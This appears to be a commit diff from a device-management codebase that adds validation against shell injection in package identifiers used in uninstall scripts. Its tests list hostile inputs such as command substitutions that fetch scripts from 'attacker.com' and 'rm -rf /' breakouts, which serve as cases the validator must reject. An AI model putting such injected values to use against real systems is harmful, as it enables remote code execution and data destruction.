Improved validation for packages (#40407)

<!-- Add the related story/sub-task/bug number, like Resolves #123, or
remove if NA -->

## Testing

- [x] Added/updated automated tests

- [x] QA'd all new/changed functionality manually

cmd/fleetctl/fleetctl/gitops_test.go

@@ -1465,7 +1465,7 @@ func TestGitOpsFullTeam(t *testing.T) {
 	assert.True(t, savedTeam.Config.Integrations.GoogleCalendar.Enable)
 	assert.Equal(t, baseFilename, *savedTeam.Filename)
 	require.Len(t, appliedSoftwareInstallers, 2)
-	packageID := `"ruby"`
+	packageID := `'ruby'`
 	uninstallScriptProcessed := strings.ReplaceAll(file.GetUninstallScript("deb"), "$PACKAGE_ID", packageID)
 	assert.ElementsMatch(t, []string{fmt.Sprintf("echo 'uninstall' %s\n", packageID), uninstallScriptProcessed},
 		[]string{appliedSoftwareInstallers[0].UninstallScript, appliedSoftwareInstallers[1].UninstallScript})

ee/maintained-apps/ingesters/winget/ingester.go

@@ -294,7 +294,11 @@ func (i *wingetIngester) ingestOne(ctx context.Context, input inputApp) (*mainta
 			}
 		}
 		if uninstallScript == "" && upgradeCode != "" {
-			uninstallScript = buildUpgradeCodeBasedUninstallScript(upgradeCode)
+			var err error
+			uninstallScript, err = buildUpgradeCodeBasedUninstallScript(upgradeCode)
+			if err != nil {
+				return nil, ctxerr.Wrap(ctx, err, "building upgrade code based uninstall script")
+			}
 		}
 
 		if uninstallScript == "" {
@@ -347,7 +351,11 @@ func (i *wingetIngester) ingestOne(ctx context.Context, input inputApp) (*mainta
 		Exists: fmt.Sprintf(existsTemplate, name, publisher),
 	}
 	out.InstallScript = installScript
-	out.UninstallScript = preProcessUninstallScript(uninstallScript, productCode)
+	processedUninstallScript, err := preProcessUninstallScript(uninstallScript, productCode)
+	if err != nil {
+		return nil, ctxerr.Wrap(ctx, err, "pre-processing uninstall script")
+	}
+	out.UninstallScript = processedUninstallScript
 	out.InstallScriptRef = maintained_apps.GetScriptRef(out.InstallScript)
 	out.UninstallScriptRef = maintained_apps.GetScriptRef(out.UninstallScript)
 	out.Frozen = input.Frozen
@@ -357,13 +365,19 @@ func (i *wingetIngester) ingestOne(ctx context.Context, input inputApp) (*mainta
 	return &out, nil
 }
 
-func buildUpgradeCodeBasedUninstallScript(upgradeCode string) string {
-	return file.UpgradeCodeRegex.ReplaceAllString(file.UninstallMsiWithUpgradeCodeScript, fmt.Sprintf("\"%s\"${suffix}", upgradeCode))
+func buildUpgradeCodeBasedUninstallScript(upgradeCode string) (string, error) {
+	if err := file.ValidatePackageIdentifiers(nil, upgradeCode); err != nil {
+		return "", err
+	}
+	return file.UpgradeCodeRegex.ReplaceAllString(file.UninstallMsiWithUpgradeCodeScript, fmt.Sprintf("'%s'${suffix}", upgradeCode)), nil
 }
 
-func preProcessUninstallScript(uninstallScript, productCode string) string {
-	code := fmt.Sprintf("\"%s\"", productCode)
-	return file.PackageIDRegex.ReplaceAllString(uninstallScript, fmt.Sprintf("%s${suffix}", code))
+func preProcessUninstallScript(uninstallScript, productCode string) (string, error) {
+	if err := file.ValidatePackageIdentifiers([]string{productCode}, ""); err != nil {
+		return "", err
+	}
+	code := fmt.Sprintf("'%s'", productCode)
+	return file.PackageIDRegex.ReplaceAllString(uninstallScript, fmt.Sprintf("%s${suffix}", code)), nil
 }
 
 // these are installer types that correspond to software vendors, not the actual installer type

ee/maintained-apps/ingesters/winget/ingester_test.go

@@ -0,0 +1,135 @@
+package winget
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+func TestBuildUpgradeCodeBasedUninstallScript(t *testing.T) {
+	tests := []struct {
+		name        string
+		upgradeCode string
+		wantErr     bool
+		errContains string
+	}{
+		{
+			name:        "valid GUID upgrade code",
+			upgradeCode: "{12345678-1234-1234-1234-123456789012}",
+			wantErr:     false,
+		},
+		{
+			name:        "valid simple upgrade code",
+			upgradeCode: "SomeUpgradeCode-1.0",
+			wantErr:     false,
+		},
+		{
+			name:        "malicious upgrade code with command substitution",
+			upgradeCode: "legit$(curl attacker.com/s|sh)",
+			wantErr:     true,
+			errContains: "contains invalid characters",
+		},
+		{
+			name:        "malicious upgrade code with backticks",
+			upgradeCode: "legit`curl attacker.com`",
+			wantErr:     true,
+			errContains: "contains invalid characters",
+		},
+		{
+			name:        "malicious upgrade code with single quote breakout",
+			upgradeCode: "code'; rm -rf /; echo '",
+			wantErr:     true,
+			errContains: "contains invalid characters",
+		},
+		{
+			name:        "malicious upgrade code with semicolon",
+			upgradeCode: "code;whoami",
+			wantErr:     true,
+			errContains: "contains invalid characters",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result, err := buildUpgradeCodeBasedUninstallScript(tt.upgradeCode)
+			if tt.wantErr {
+				require.Error(t, err)
+				assert.Contains(t, err.Error(), tt.errContains)
+				assert.Empty(t, result)
+			} else {
+				require.NoError(t, err)
+				assert.NotEmpty(t, result)
+				// Verify the upgrade code appears in single quotes
+				assert.Contains(t, result, "'"+tt.upgradeCode+"'")
+			}
+		})
+	}
+}
+
+func TestPreProcessUninstallScript(t *testing.T) {
+	tests := []struct {
+		name            string
+		uninstallScript string
+		productCode     string
+		wantErr         bool
+		errContains     string
+	}{
+		{
+			name:            "valid GUID product code",
+			uninstallScript: `msiexec /x "$PACKAGE_ID" /quiet`,
+			productCode:     "{12345678-1234-1234-1234-123456789012}",
+			wantErr:         false,
+		},
+		{
+			name:            "valid simple product code",
+			uninstallScript: `msiexec /x "$PACKAGE_ID" /quiet`,
+			productCode:     "SomeProduct-1.0",
+			wantErr:         false,
+		},
+		{
+			name:            "malicious product code with command substitution",
+			uninstallScript: `msiexec /x "$PACKAGE_ID" /quiet`,
+			productCode:     "legit$(curl attacker.com/s|sh)",
+			wantErr:         true,
+			errContains:     "contains invalid characters",
+		},
+		{
+			name:            "malicious product code with backticks",
+			uninstallScript: `msiexec /x "$PACKAGE_ID" /quiet`,
+			productCode:     "legit`curl attacker.com`",
+			wantErr:         true,
+			errContains:     "contains invalid characters",
+		},
+		{
+			name:            "malicious product code with single quote breakout",
+			uninstallScript: `msiexec /x "$PACKAGE_ID" /quiet`,
+			productCode:     "code'; rm -rf /; echo '",
+			wantErr:         true,
+			errContains:     "contains invalid characters",
+		},
+		{
+			name:            "malicious product code with pipe",
+			uninstallScript: `msiexec /x "$PACKAGE_ID" /quiet`,
+			productCode:     "code|whoami",
+			wantErr:         true,
+			errContains:     "contains invalid characters",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result, err := preProcessUninstallScript(tt.uninstallScript, tt.productCode)
+			if tt.wantErr {
+				require.Error(t, err)
+				assert.Contains(t, err.Error(), tt.errContains)
+				assert.Empty(t, result)
+			} else {
+				require.NoError(t, err)
+				assert.NotEmpty(t, result)
+				// Verify the product code appears in single quotes
+				assert.Contains(t, result, "'"+tt.productCode+"'")
+			}
+		})
+	}
+}

ee/server/service/software_installers.go

@@ -244,6 +244,12 @@ func preProcessUninstallScript(payload *fleet.UploadSoftwareInstallerPayload) er
 		// do nothing, this could be a FMA which won't include the installer when editing the scripts
 		return nil
 	}
+
+	// Validate that package identifiers and upgrade codes don't contain shell metacharacters
+	if err := file.ValidatePackageIdentifiers(payload.PackageIDs, payload.UpgradeCode); err != nil {
+		return err
+	}
+
 	var packageID string
 	switch payload.Extension {
 	case "dmg", "zip":
@@ -252,12 +258,12 @@ func preProcessUninstallScript(payload *fleet.UploadSoftwareInstallerPayload) er
 		var sb strings.Builder
 		_, _ = sb.WriteString("(\n")
 		for _, pkgID := range payload.PackageIDs {
-			_, _ = sb.WriteString(fmt.Sprintf("  \"%s\"\n", pkgID))
+			_, _ = sb.WriteString(fmt.Sprintf("  '%s'\n", pkgID))
 		}
 		_, _ = sb.WriteString(")") // no ending newline
 		packageID = sb.String()
 	default:
-		packageID = fmt.Sprintf("\"%s\"", payload.PackageIDs[0])
+		packageID = fmt.Sprintf("'%s'", payload.PackageIDs[0])
 	}
 
 	payload.UninstallScript = file.PackageIDRegex.ReplaceAllString(payload.UninstallScript, fmt.Sprintf("%s${suffix}", packageID))
@@ -268,7 +274,7 @@ func preProcessUninstallScript(payload *fleet.UploadSoftwareInstallerPayload) er
 			return errors.New("blank upgrade code when required in script")
 		}
 
-		payload.UninstallScript = file.UpgradeCodeRegex.ReplaceAllString(payload.UninstallScript, fmt.Sprintf("\"%s\"${suffix}", payload.UpgradeCode))
+		payload.UninstallScript = file.UpgradeCodeRegex.ReplaceAllString(payload.UninstallScript, fmt.Sprintf("'%s'${suffix}", payload.UpgradeCode))
 	}
 
 	return nil

ee/server/service/software_installers_test.go

@@ -49,12 +49,12 @@ ${PACKAGE_ID}`
 	require.NoError(t, preProcessUninstallScript(&payload))
 	expected := `
 blah$PACKAGE_IDS
-pkgids="com.foo"
-they are "com.foo", right $MY_SECRET?
-quotes for "com.foo"
-blah"com.foo"withConcat
-quotes and braces for "com.foo"
-"com.foo"`
+pkgids='com.foo'
+they are 'com.foo', right $MY_SECRET?
+quotes for 'com.foo'
+blah'com.foo'withConcat
+quotes and braces for 'com.foo'
+'com.foo'`
 	assert.Equal(t, expected, payload.UninstallScript)
 
 	payload = fleet.UploadSoftwareInstallerPayload{
@@ -66,28 +66,28 @@ quotes and braces for "com.foo"
 	expected = `
 blah$PACKAGE_IDS
 pkgids=(
-  "com.foo"
-  "com.bar"
+  'com.foo'
+  'com.bar'
 )
 they are (
-  "com.foo"
-  "com.bar"
+  'com.foo'
+  'com.bar'
 ), right $MY_SECRET?
 quotes for (
-  "com.foo"
-  "com.bar"
+  'com.foo'
+  'com.bar'
 )
 blah(
-  "com.foo"
-  "com.bar"
+  'com.foo'
+  'com.bar'
 )withConcat
 quotes and braces for (
-  "com.foo"
-  "com.bar"
+  'com.foo'
+  'com.bar'
 )
 (
-  "com.foo"
-  "com.bar"
+  'com.foo'
+  'com.bar'
 )`
 	assert.Equal(t, expected, payload.UninstallScript)
 
@@ -96,7 +96,58 @@ quotes and braces for (
 
 	payload.UpgradeCode = "foo"
 	require.NoError(t, preProcessUninstallScript(&payload))
-	assert.Equal(t, `"foo"`, payload.UninstallScript)
+	assert.Equal(t, `'foo'`, payload.UninstallScript)
+}
+
+func TestPreProcessUninstallScriptMaliciousInput(t *testing.T) {
+	t.Parallel()
+
+	maliciousIDs := []struct {
+		name string
+		id   string
+	}{
+		{"command substitution", "com.app$(id)"},
+		{"backtick execution", "app`id`"},
+		{"pipe injection", "app|rm -rf /"},
+		{"semicolon injection", "app;curl attacker.com"},
+		{"ampersand injection", "app&wget evil.com"},
+		{"redirect injection", "app>file"},
+		{"subshell injection", "com.app$(curl attacker.com/s|sh)"},
+		{"single quote escape attempt", "app'$(id)'"},
+		{"double quote injection", `app"$(id)"`},
+		{"backslash injection", `app\nid`},
+		{"newline injection", "app\nid"},
+	}
+
+	for _, tc := range maliciousIDs {
+		t.Run(tc.name, func(t *testing.T) {
+			payload := fleet.UploadSoftwareInstallerPayload{
+				Extension:       "deb",
+				UninstallScript: "$PACKAGE_ID",
+				PackageIDs:      []string{tc.id},
+			}
+			require.Error(t, preProcessUninstallScript(&payload), "expected error for malicious input: %s", tc.id)
+		})
+	}
+
+	// Verify valid identifiers still pass
+	validIDs := []string{
+		"com.example.app",
+		"ruby",
+		"org.mozilla.firefox",
+		"{12345-ABCDE-67890}",
+		"Microsoft.VisualStudioCode",
+		"package/name",
+		"my-app_v2.0+build1",
+	}
+	for _, id := range validIDs {
+		payload := fleet.UploadSoftwareInstallerPayload{
+			Extension:       "deb",
+			UninstallScript: "$PACKAGE_ID",
+			PackageIDs:      []string{id},
+		}
+		require.NoError(t, preProcessUninstallScript(&payload), "expected no error for valid input: %s", id)
+	}
 }
 
 func TestInstallUninstallAuth(t *testing.T) {

pkg/file/management.go

@@ -2,6 +2,7 @@ package file
 
 import (
 	_ "embed"
+	"fmt"
 	"regexp"
 )
 
@@ -79,6 +80,27 @@ var UninstallMsiWithUpgradeCodeScript string
 var PackageIDRegex = regexp.MustCompile(`((("\$PACKAGE_ID")|(\$PACKAGE_ID))(?P<suffix>\W|$))|(("\${PACKAGE_ID}")|(\${PACKAGE_ID}))`)
 var UpgradeCodeRegex = regexp.MustCompile(`((("\$UPGRADE_CODE")|(\$UPGRADE_CODE))(?P<suffix>\W|$))|(("\${UPGRADE_CODE}")|(\${UPGRADE_CODE}))`)
 
+// safeIdentifierRegex matches strings that contain only safe characters for
+// interpolation into shell scripts. This allowlist prevents shell injection
+// via crafted package metadata (e.g., package IDs containing $(), backticks,
+// pipes, or other shell metacharacters).
+var safeIdentifierRegex = regexp.MustCompile(`^[a-zA-Z0-9._\-{} +,/:~@]+$`)
+
+// ValidatePackageIdentifiers checks that package IDs and upgrade codes contain
+// only safe characters for shell script interpolation. Returns an error if any
+// identifier contains shell metacharacters.
+func ValidatePackageIdentifiers(packageIDs []string, upgradeCode string) error {
+	for _, id := range packageIDs {
+		if !safeIdentifierRegex.MatchString(id) {
+			return fmt.Errorf("package identifier %q contains invalid characters", id)
+		}
+	}
+	if upgradeCode != "" && !safeIdentifierRegex.MatchString(upgradeCode) {
+		return fmt.Errorf("upgrade code %q contains invalid characters", upgradeCode)
+	}
+	return nil
+}
+
 //go:embed scripts/uninstall_deb.sh
 var uninstallDebScript string
 

pkg/file/management_test.go

@@ -63,6 +63,70 @@ func TestGetInstallAndRemoveScript(t *testing.T) {
 	}
 }
 
+func TestValidatePackageIdentifiers(t *testing.T) {
+	t.Parallel()
+
+	t.Run("valid identifiers", func(t *testing.T) {
+		validIDs := []string{
+			"com.example.app",
+			"ruby",
+			"org.mozilla.firefox",
+			"{12345-ABCDE-67890}",
+			"Microsoft.VisualStudioCode",
+			"package/name",
+			"my-app_v2.0+build1",
+			"app:latest",
+			"name@version",
+			"path/to/pkg",
+			"a~b",
+			"comma,separated",
+			"with spaces",
+		}
+		require.NoError(t, ValidatePackageIdentifiers(validIDs, ""))
+		require.NoError(t, ValidatePackageIdentifiers(nil, "{UPGRADE-CODE-123}"))
+		require.NoError(t, ValidatePackageIdentifiers(validIDs, "{UPGRADE-CODE-123}"))
+	})
+
+	t.Run("empty inputs", func(t *testing.T) {
+		require.NoError(t, ValidatePackageIdentifiers(nil, ""))
+		require.NoError(t, ValidatePackageIdentifiers([]string{}, ""))
+	})
+
+	t.Run("malicious package IDs", func(t *testing.T) {
+		maliciousIDs := []struct {
+			name string
+			id   string
+		}{
+			{"command substitution", "com.app$(id)"},
+			{"backtick execution", "app`id`"},
+			{"pipe injection", "app|rm -rf /"},
+			{"semicolon injection", "app;curl attacker.com"},
+			{"ampersand injection", "app&wget evil.com"},
+			{"redirect output", "app>file"},
+			{"redirect input", "app<file"},
+			{"single quote", "app'break"},
+			{"double quote", `app"break`},
+			{"backslash", `app\n`},
+			{"newline", "app\nid"},
+			{"exclamation", "app!cmd"},
+		}
+		for _, tc := range maliciousIDs {
+			t.Run(tc.name, func(t *testing.T) {
+				err := ValidatePackageIdentifiers([]string{tc.id}, "")
+				require.Error(t, err)
+				assert.Contains(t, err.Error(), "contains invalid characters")
+			})
+		}
+	})
+
+	t.Run("malicious upgrade code", func(t *testing.T) {
+		err := ValidatePackageIdentifiers(nil, "code$(id)")
+		require.Error(t, err)
+		assert.Contains(t, err.Error(), "upgrade code")
+		assert.Contains(t, err.Error(), "contains invalid characters")
+	})
+}
+
 func assertGoldenMatches(t *testing.T, goldenFile string, actual string, update bool) {
 	t.Helper()
 	if goldenFile == "" {

server/service/integration_enterprise_test.go

@@ -12498,7 +12498,7 @@ func (s *integrationEnterpriseTestSuite) TestSoftwareInstallerUploadDownloadAndD
 
 		// Check uninstall script
 		uninstallScript := file.GetUninstallScript("deb")
-		uninstallScript = strings.ReplaceAll(uninstallScript, "$PACKAGE_ID", "\"ruby\"")
+		uninstallScript = strings.ReplaceAll(uninstallScript, "$PACKAGE_ID", "'ruby'")
 		respTitle = getSoftwareTitleResponse{}
 		s.DoJSON("GET", fmt.Sprintf("/api/latest/fleet/software/titles/%d", titleID), nil, http.StatusOK, &respTitle, "team_id",
 			fmt.Sprintf("%d", createTeamResp.Team.ID))
@@ -14189,7 +14189,7 @@ func (s *integrationEnterpriseTestSuite) TestSoftwareInstallerHostRequests() {
 		fmt.Sprintf("%d", *teamID))
 	require.NotNil(t, respTitle.SoftwareTitle.SoftwarePackage)
 	assert.Equal(t, "another install script", respTitle.SoftwareTitle.SoftwarePackage.InstallScript)
-	assert.Equal(t, `another uninstall script with "ruby"`, respTitle.SoftwareTitle.SoftwarePackage.UninstallScript)
+	assert.Equal(t, `another uninstall script with 'ruby'`, respTitle.SoftwareTitle.SoftwarePackage.UninstallScript)
 
 	// Upload another package for another platform
 	payloadDummy := &fleet.UploadSoftwareInstallerPayload{
@@ -20465,7 +20465,7 @@ func (s *integrationEnterpriseTestSuite) TestBatchSoftwareUploadWithSHAs() {
 
 # Fleet extracts and saves package IDs.
 pkg_ids=(
-  "com.example.dummy"
+  'com.example.dummy'
 )
 
 # For each package id, get all .app folders associated with the package and remove them.